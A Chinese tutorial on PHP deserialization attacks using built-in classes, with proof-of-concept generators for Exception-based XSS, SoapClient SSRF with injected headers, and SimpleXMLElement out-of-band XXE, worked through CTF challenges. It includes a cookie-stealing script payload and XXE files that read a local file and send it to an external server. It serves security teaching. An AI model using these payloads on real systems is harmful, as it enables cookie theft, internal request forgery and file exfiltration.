Web攻防-PHP反序列化&原生内置类&Exception类&SoapClient类&SimpleXMLElement

知识点:

1、WEB攻防-PHP反序列化-原生类&生成及利用条件

2、WEB攻防-PHP反序列化-Exception触发XSS

3、WEB攻防-PHP反序列化-SoapClient触发SSRF

4、WEB攻防-PHP反序列化-SimpleXMLElement触发XXE

原生类的出现就是为了解决这个问题,当遇到无类可用或者有类无危险方法的时候就可以尝试使用原生类来进行反序列化攻击。

bash 复制代码
原生自带类参考
https://xz.aliyun.com/news/8792
https://www.anquanke.com/post/id/264823
https://blog.csdn.net/cjdgg/article/details/115314651

利用条件:
1、有触发魔术方法
2、魔术方法有利用类
3、部分自带类配置拓展开启(例如SoapClient类要在php.ini里开启soap)

获取php自带原生类:
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
'__construct',
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

一、演示案例-WEB攻防-PHP反序列化-原生类&Exception&XSS

使用原生Error/Exception类(处理异常错误信息并输出)进行XSS

DEMO

bash 复制代码
<?php
$a = unserialize($_GET['code']);
echo $a;
?>
bash 复制代码
POC链:
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>


bash 复制代码
输出对象可调用__toString
无代码通过原生类Exception
Exception使用查询编写利用
通过访问触发输出产生XSS漏洞

[BJDCTF 2nd]xss之光

bash 复制代码
poc链:
<?php
$poc = new Exception("<script>window.open('http://462795d3-ea59-4f00-9657-d50f15178248.node5.buuoj.cn:81/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>


二、演示案例-WEB攻防-PHP反序列化-原生类&SoapClient&SSRF

使用SoapClient类进行SSRF

DEMO

bash 复制代码
ssrf.php
<?php
$s = unserialize($_GET['ssrf']);
$s->a(); //调用a方法,a不存在触发__call方法
?>
-输出对象可调用__call方法
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问触发服务器SSRF漏洞

POP链:
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));
$b = serialize($a);
echo $b;
?>







CTFSHOW-259


bash 复制代码
-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag

pop链:
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>



三、演示案例-WEB攻防-PHP反序列化-原生类&SimpleXMLElement&XXE

使用SimpleXMLElement类进行xxe

DEMO

攻击者服务器上放3个文件

1、oob.xml

2、send.xml

3、send.php

bash 复制代码
pop链:
<?php
$sxe=new SimpleXMLElement('http://外网IP地址/oob.xml',2,true); 
$a = serialize($sxe);
echo $a;
?>
bash 复制代码
-new触发__construct
-无代码通过原生类SimpleXMLElement
-SimpleXMLElement使用查询编写利用



[SUCTF 2018]Homework




bash 复制代码
利用点:SimpleXMLElement(url,2,true)
Poc:
/show.php?module=SimpleXMLElement&args[]=http://120.27.152.29/oob.xml&args[]=2&args[]=true
bash 复制代码
外网服务器:
oob.xml:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.xml">
%remote;
%all;
%send;
]>

send.xml:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">

send.php:
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>
相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
QQ5110082855 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe5 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5